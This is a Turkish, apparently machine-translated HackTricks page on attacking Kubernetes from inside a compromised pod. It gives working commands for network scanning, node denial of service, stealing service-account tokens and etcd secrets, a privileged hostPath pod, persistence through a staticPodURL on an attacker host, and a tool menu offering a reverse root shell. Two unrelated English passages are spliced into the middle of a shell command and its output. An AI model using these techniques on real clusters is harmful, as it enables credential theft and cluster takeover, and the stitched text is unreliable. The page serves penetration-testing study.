Turkish - Ht Cloud
HackTricks TrainingTwitterLinkedinSponsor

Attacking Kubernetes from inside a Pod

AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'ı desteklemenin diğer yolları:

Pod Kaçışı

Şanslıysanız, pod'dan kaçabilirsiniz:

Pod'dan Kaçış

Pod'lardan kaçmaya çalışmak için genellikle önce yetkileri yükseltmeniz gerekebilir, bunu yapmak için bazı teknikler:

LogoLinux Privilege EscalationHackTricks

Kompromize ettiğiniz bir pod'dan kaçmaya çalışmak için bu docker kaçışlarını kontrol edebilirsiniz:

Kubernetes Yetkilerinin Kötüye Kullanımı

Kubernetes numaralandırması bölümünde açıklandığı gibi:

Kubernetes Enumeration

Genellikle pod'lar içinde bir hizmet hesabı belirteci çalıştırılır. Bu hizmet hesabı, kötüye kullanabileceğiniz bazı yetkilere sahip olabilir, diğer pod'lara veya hatta küme içinde yapılandırılmış düğümlere geçmek için bunları kötüye kullanabilirsiniz. Nasıl yapılacağını kontrol edin:

Abusing Roles/ClusterRoles in Kubernetes

Bulut Yetkilerinin Kötüye Kullanımı

Pod bir bulut ortamında çalıştırılıyorsa, metadata uç noktasından bir belirteç sızdırabilir ve bunu kullanarak yetkileri yükseltebilirsiniz.

Zayıf Ağ Hizmetlerini Arayın

Kubernetes ortamında olduğunuz için, mevcut pod'un yetkilerini kötüye kullanarak yetkileri yükseltemiyorsanız ve konteynerden kaçamıyorsanız, potansiyel zayıf hizmetleri aramalısınız.

Hizmetler

Bu amaçla, kubernetes ortamındaki tüm hizmetleri almayı deneyebilirsiniz:

kubectl get svc --all-namespaces

Varsayılan olarak, Kubernetes düz bir ağ şeması kullanır, bu da küme içindeki herhangi bir pod/servisin birbirleriyle iletişim kurabileceği anlamına gelir. Küme içindeki ad alanları varsayılan olarak herhangi bir ağ güvenliği kısıtlamasına sahip değildir. Ad alanındaki herkes diğer ad alanlarıyla iletişim kurabilir.

Tarama

Aşağıdaki Bash betiği (bir Kubernetes atölyesinden alınmıştır) kubernetes kümesinin IP aralıklarını yükleyip tarama yapacaktır:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

Aşağıdaki sayfayı inceleyerek Kubernetes özel servislerine saldırabileceğinizi ve diğer podları/tüm ortamı tehlikeye atabileceğinizi öğrenin:

Pentesting Kubernetes Services

Sniffing

Eğer kompromize edilmiş pod hassas bir servis çalıştırıyorsa ve diğer pod'ların kimlik doğrulaması yapması gerekiyorsa, diğer pod'lardan gelen kimlik bilgilerini yerel iletişimi dinleyerek elde edebilirsiniz.

Network Spoofing

Varsayılan olarak ARP spoofing gibi teknikler (ve buna bağlı olarak DNS Spoofing) Kubernetes ağında çalışır. Sonra, bir pod içinde, NET_RAW yeteneğine sahipseniz (bu varsayılan olarak mevcuttur), özel oluşturulmuş ağ paketleri gönderebilir ve aynı düğümde çalışan tüm pod'lara ARP Spoofing aracılığıyla MitM saldırıları gerçekleştirebilirsiniz. Dahası, eğer zararlı pod DNS Sunucusu ile aynı düğümde çalışıyorsa, tüm kümedeki pod'lara DNS Spoofing saldırısı gerçekleştirebilirsiniz.

Kubernetes Network Attacks

Node DoS

Kubernetes belgelerinde kaynakların belirtilmediği ve konteynerler için uygulanmamış sınırların olmadığı belirtilmemiştir. Bir saldırgan olarak, pod/deployment'ın çalıştığı kaynakları tüketebiliriz ve diğer kaynakları tüketerek ortam için bir DoS oluşturabiliriz.

Bu, stress-ng gibi bir araçla yapılabilir:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

stress-ng çalışırken ve sonrasındaki farkı görebilirsiniz

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

Node Saldırı Sonrası İstismarı

Eğer konteynerden kaçmayı başardıysanız, düğümde bulabileceğiniz ilginç şeyler şunlardır:

  • Konteyner Çalıştırma işlemi (Docker)

  • Daha fazla düğümde çalışan pods/konteynerler bu örnekte olduğu gibi kötüye kullanabileceğiniz (daha fazla belirteç)

  • Tüm dosya sistemi ve işletim sistemi genel olarak

  • Dinleyen Kube-Proxy servisi

  • Dinleyen Kubelet servisi. Yapılandırma dosyalarını kontrol edin:

  • Dizin: /var/lib/kubelet/

  • /var/lib/kubelet/kubeconfig

  • /var/lib/kubelet/kubelet.conf

  • /var/lib/kubelet/config.yaml

  • /var/lib/kubelet/kubeadm-flags.env

  • /etc/kubernetes/kubelet-kubeconfig

  • Diğer kubernetes ortak dosyaları:

  • $HOME/.kube/config - Kullanıcı Yapılandırması

  • /etc/kubernetes/kubelet.conf- Normal Yapılandırma

  • /etc/kubernetes/bootstrap-kubelet.conf - Önyükleme Yapılandırması

  • /etc/kubernetes/manifests/etcd.yaml - etcd Yapılandırması

  • /etc/kubernetes/pki - Kubernetes Anahtarı

Düğüm kubeconfig Dosyasını Bulma

Eğer önceden yorumlanan yollardan birinde kubeconfig dosyasını bulamıyorsanız, kubelet işleminin --kubeconfig argümanını kontrol edin:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

Sırları Çalma

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

The script can-they.sh will automatically get the tokens of other pods and check if they have the permission you are looking for (instead of you looking 1 by 1):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

Ayrıcalıklı DaemonSet'ler

Bir DaemonSet, kümenin tüm düğümlerinde çalışacak olan bir pod'dur. Dolayısıyla, bir DaemonSet, ayrıcalıklı bir hizmet hesabıyla yapılandırılmışsa, TÜM düğümlerde o ayrıcalıklı hizmet hesabının belirteçini bulabileceksiniz ve bunu istismar edebileceksiniz.

Saldırı, önceki bölümde olduğu gibi aynıdır, ancak artık şansa bağlı değilsiniz.

Buluta Geçiş Yapma

Küme bir bulut hizmeti tarafından yönetiliyorsa, genellikle Düğümün Pod'dan farklı bir erişimi olacaktır. Bu nedenle, düğümden metadata uç noktasına erişmeye çalışın (veya hostNetwork'ü True olan bir pod'dan):

Kubernetes Pivoting to Clouds

etcd'yi Çalma

Eğer konteynerı çalıştıracak olan Düğümün nodeName'ini belirtebiliyorsanız, bir kontrol düğümü içinde bir kabuk alın ve etcd veritabanını alın:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

Kontrol düğümleri ana bilgisayar rolüne sahiptir ve bulut yönetimli kümelerde bunlarda herhangi bir şey çalıştıramazsınız.

Etcd'den sırları okuyun

Pod özelliklerinde nodeName seçicisini kullanarak pod'unuzu bir kontrol düğümünde çalıştırabiliyorsanız, etcd veritabanına kolayca erişebilirsiniz. Bu veritabanı, tüm yapılandırmaları ve tüm sırları içeren küme için tüm yapılandırmaları içerir.

Aşağıda, üzerinde çalıştığınız kontrol düğümünde çalışıyorsa etcd veritabanından sırları almanın hızlı ve kirli bir yolunu bulabilirsiniz. Eğer etcd istemcisini etcdctl ile kullanan ve kontrol düğümü düğümünün kimlik bilgilerini kullanarak nerede çalışıyor olursa olsun etcd'ye bağlanan daha zarif bir çözüm isterseniz, @mauilion'un bu örnek manifestosuna göz atın.

Kontrol düğümünde etcd'nin çalışıp çalışmadığını ve veritabanının nerede olduğunu kontrol edin (Bu, bir kubeadm oluşturulan kümede bulunmaktadır)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and services. This section covers various techniques an attacker can use to escalate privileges and move laterally within the cluster.

### Escalating Privileges

#### Accessing the Kubernetes API

If the pod has a service account token mounted, the attacker can use it to access the Kubernetes API and perform actions based on the permissions associated with that service account.

#### Exploiting Kubernetes RBAC

If the pod has excessive permissions assigned via Role-Based Access Control (RBAC), the attacker can abuse these permissions to perform unauthorized actions within the cluster.

### Moving Laterally

#### Port Forwarding

The attacker can use port forwarding to access services running on other pods within the cluster, allowing them to interact with those services as if they were running on their local machine.

#### Pod to Pod Communication

By leveraging the Kubernetes DNS service, the attacker can communicate with other pods directly, potentially exfiltrating data or performing further attacks.

### Conclusion

Securing Kubernetes pods is crucial to prevent attackers from moving laterally within the cluster and escalating privileges. Regularly auditing and updating RBAC permissions, restricting service account access, and monitoring pod-to-pod communication are essential steps to enhance Kubernetes security.
data-dir=/var/lib/etcd

etcd veritabanındaki verileri görüntüle:

strings /var/lib/etcd/member/snap/db | less

Veritabanından tokenleri çıkarın ve servis hesabı adını gösterin

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

Aynı komut, ancak yalnızca kube-system ad alanındaki varsayılan belirteci döndürmek için bazı grepler

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
## Attacking Kubernetes from Inside a Pod

### Introduction

When an attacker gains access to a Kubernetes pod, they are in a privileged position to perform further attacks within the cluster. This section outlines some common techniques attackers can use to escalate privileges and move laterally within a Kubernetes cluster from inside a compromised pod.

### Privilege Escalation

#### Exploiting Misconfigured RBAC Roles

Attackers can abuse misconfigured Role-Based Access Control (RBAC) roles to gain higher privileges within the cluster. By modifying existing roles or creating new ones, attackers can grant themselves additional permissions to perform malicious actions.

#### Accessing the Kubernetes API Server

Once inside a pod, attackers can attempt to access the Kubernetes API server using tools like `kubectl` or client libraries. If the pod's service account has sufficient permissions, attackers can interact with the API server to gather information about the cluster or perform actions on other resources.

### Lateral Movement

#### Pod Hopping

Attackers can move laterally within the cluster by compromising multiple pods. By exploiting vulnerabilities or misconfigurations in other pods, attackers can pivot from one pod to another, gradually expanding their control over the cluster.

#### Service Account Compromise

If an attacker can compromise a pod's service account token, they can impersonate the account and access other resources within the cluster that the account has permissions for. This can allow the attacker to move laterally and escalate privileges further.

### Conclusion

Securing Kubernetes clusters requires not only protecting the external attack surface but also monitoring and securing internal components like pods. By understanding common attack techniques from inside a pod, defenders can better protect their clusters against malicious actors.
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

Statik/Yansıtılmış Pod Kalıcılığı

Static Pods, API sunucusunun onları gözlemlememesi durumunda belirli bir düğümde kubelet daemonu tarafından doğrudan yönetilen podlardır. Kontrol düzlemi tarafından yönetilen Pod'ların aksine (örneğin, bir Dağıtım); kubelet her statik Pod'u izler (ve başarısız olursa yeniden başlatır).

Bu nedenle, statik Pod'lar her zaman belirli bir düğümdeki bir Kubelet'e bağlıdır.

Kubelet otomatik olarak her statik Pod için Kubernetes API sunucusunda bir ayna Pod oluşturmaya çalışır. Bu, bir düğümde çalışan Pod'ların API sunucusunda görünür olduğu, ancak oradan kontrol edilemediği anlamına gelir. Pod adları, başında bir tire ile düğüm ana bilgisayar adıyla eklenir.

Bir statik Pod'un spec'i diğer API nesnelerine (örneğin, ServiceAccount, ConfigMap, Secret, vb.) atıfta bulunamaz. Bu nedenle, mevcut düğümde keyfi bir serviceAccount ile bir pod başlatmak için bu davranışı kötüye kullanamazsınız. Ancak bunu kullanarak farklı ad alanlarında pod'ları çalıştırabilirsiniz (bu bazı nedenlerle faydalı olabilir).

Eğer düğüm ana bilgisayar içindeyseniz, kendi içinde bir statik pod oluşturmasını sağlayabilirsiniz. Bu oldukça faydalı olabilir çünkü size kube-system gibi farklı bir ad alanında pod oluşturma imkanı verebilir.

Statik bir pod oluşturmak için, belgeler büyük bir yardımcıdır. Temelde 2 şeye ihtiyacınız var:

  • --pod-manifest-path=/etc/kubernetes/manifests parametresini kubelet servisinde veya kubelet yapılandırmasında (staticPodPath) yapılandırın ve servisi yeniden başlatın

  • /etc/kubernetes/manifests içinde pod tanımı oluşturun

Daha gizli bir yol şöyle olabilir:

  • kubelet yapılandırma dosyasındaki staticPodURL parametresini değiştirin ve staticPodURL: http://saldırgan.com:8765/pod.yaml gibi bir şey ayarlayın. Bu, kubelet işleminin belirtilen URL'den yapılandırmayı alarak bir statik pod oluşturmasını sağlayacaktır.

Örnek olarak, kube-system içinde bir ayrıcalıklı pod oluşturmak için pod yapılandırması buradan alınmıştır:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

Podları silme + çalıştırılamaz düğümler

Bir saldırgan bir düğümü ele geçirdiyse ve diğer düğümlerden podları silebiliyorsa ve diğer düğümlerin podları çalıştıramayacak şekilde yapabiliyorsa, podlar ele geçirilmiş düğümde yeniden çalıştırılacak ve içlerinde çalışan token'ları çalabilecektir. Daha fazla bilgi için bu bağlantıları takip edin.

Otomatik Araçlar

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

PreviousExposing Services in KubernetesNextKubernetes Enumeration

Last updated